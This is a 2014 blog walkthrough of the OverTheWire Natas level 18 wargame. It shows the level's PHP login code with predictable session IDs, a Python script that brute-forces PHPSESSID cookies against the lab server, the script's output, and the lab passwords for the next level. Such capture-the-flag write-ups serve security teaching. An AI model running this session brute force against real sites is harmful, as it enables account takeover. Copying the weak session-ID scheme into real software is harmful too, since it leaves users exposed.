Friday 10 October 2014

Wargames - Natas 18

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas18.natas.labs.overthewire.org and take a look at its content.
We're done with injections! This challenge presents a new type of exploitation, which has to do with PHP Sessions. I recommend you take a quick look at PHP Sessions link above, it will make this and the following challenges easier to understand and follow.
Now onto the real thing, if you open the page, you can see a simple log in form and a tip saying "Please login with your admin account to retrieve credentials for natas19." We can try to log in using some random username and password, it will accept anything and say you're a regular user. Let's take a look at the source code for a greater understanding of what's happening:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas18</h1> 
<div id="content"> 
<? 

$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 

    return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
    return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
    global $maxid; 
    return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) { 
        debug("Session start failed"); 
        return false; 
    } else { 
        debug("Session start ok"); 
        if(!array_key_exists("admin", $_SESSION)) { 
        debug("Session was old: admin flag set"); 
        $_SESSION["admin"] = 0; // backwards compatible, secure 
        } 
        return true; 
    } 
    } 

    return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas19\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
    } 
} 
/* }}} */ 

$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  

if($showform) { 
?> 

<p> 
Please login with your admin account to retrieve credentials for natas19. 
</p> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
Password: <input name="password"><br> 
<input type="submit" value="Login" /> 
</form> 
<? } ?> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
A lot of code to look at, our best course of action here is to follow the code sequentially as it gets executed and that starts at line 71, which sets a flag to show the log in form; then comes some basic logic which starts by calling my_session_start function, what it does is to check for the PHPSESSID cookie and if it's valid; if both these things are true, a session is started and the function returns TRUE, if not the function returns FALSE; coming back to the logic, if the function returned TRUE, meaning the user is logged in, it calls print_credentials and sets the form flag to FALSE; finally, if the user is not logged in, it checks for request parameters (username and password), if they exist, a session id is created and a session is started, followed by setting the form flag to FALSE and a call to print_credentials. Knowing how the log in system works, we now need to find a way to exploit it. I intentionally left the isValidAdminLogin function from the previous description because it always sets the ADMIN session variable to 0, one less function to care about. The print_credentials function doesn't need much attention as well, it just prints the account information. One more interesting function is the my_session_start, it gets the PHPSESSID from the cookies, validates it and starts a session. It's interesting because it works with cookies, which is something we can control, so we should spend some time with this. We know that to get the password for the next level, we must log in with an admin account, and an admin is defined by having an admin session variable set to 1. We also know that we have no control on setting that session variable (useless isValidAdminLogin function). However, there must be some session that has the admin variable set to 1. So what we need is to get to the session that is an admin. Let's look at line 77, which sets the session ID by calling the createID function. Although it takes the username as an argument, all the function does is generate a random number between 1 and 640, so basically the possible sessions in this website go from 1 to 640, and one of it must be an admin session, 640 isn't much, so if you guessed it right, what we're going to do is brute force all possible sessions IDs until we get the correct one, here's the script to do so:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Created by Joao Godinho
#       October 2014
# Script to brute force level 18 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# Our target URL
target = 'http://natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP@natas18.natas.labs.overthewire.org/'
# The magic words that tell's we got it
acceptStr = "You are an admin."

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting session brute force...'

# Iterate each session and check if there's one with admin access
for i in range(1,641):
        if i % 10 == 0:
                print 'Checked '+str(i)+' sessions...'
        cookies = dict(PHPSESSID=str(i))
        r = requests.get(target, cookies=cookies)
        # Did we find the right session?
        if r.content.find(acceptStr) != -1:
                print 'Got it! Session='+str(i)
                print r.content
                break
print 'Done. Have fun!'
Pretty simple, all we do is iterate through all the possible session IDs until we get the magic string that tells' we found the correct ID, running it produces the following:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Target reachable. Starting session brute force...
Checked 10 sessions...
Checked 20 sessions...
Checked 30 sessions...
Checked 40 sessions...
Checked 50 sessions...
Checked 60 sessions...
Checked 70 sessions...
Checked 80 sessions...
Checked 90 sessions...
Checked 100 sessions...
Checked 110 sessions...
Checked 120 sessions...
Checked 130 sessions...
Checked 140 sessions...
Checked 150 sessions...
Checked 160 sessions...
Checked 170 sessions...
Checked 180 sessions...
Checked 190 sessions...
Checked 200 sessions...
Checked 210 sessions...
Checked 220 sessions...
Checked 230 sessions...
Checked 240 sessions...
Checked 250 sessions...
Checked 260 sessions...
Checked 270 sessions...
Checked 280 sessions...
Checked 290 sessions...
Checked 300 sessions...
Checked 310 sessions...
Checked 320 sessions...
Checked 330 sessions...
Checked 340 sessions...
Checked 350 sessions...
Checked 360 sessions...
Checked 370 sessions...
Checked 380 sessions...
Checked 390 sessions...
Checked 400 sessions...
Checked 410 sessions...
Checked 420 sessions...
Checked 430 sessions...
Checked 440 sessions...
Checked 450 sessions...
Checked 460 sessions...
Checked 470 sessions...
Checked 480 sessions...
Checked 490 sessions...
Checked 500 sessions...
Checked 510 sessions...
Checked 520 sessions...
Checked 530 sessions...
Checked 540 sessions...
Checked 550 sessions...
Checked 560 sessions...
Checked 570 sessions...
Checked 580 sessions...
Got it! Session=585
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Done. Have fun!
After 585 tries we got the right session, and on line 75 we have the password for the next level.

User natas19
Password 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

A fun and simple introducing to PHP Sessions and session ID. The next challenge is a follow-up on this one and gets a little more complex, not much.

Never Settle,

<< Previous challenge

No comments:

Post a Comment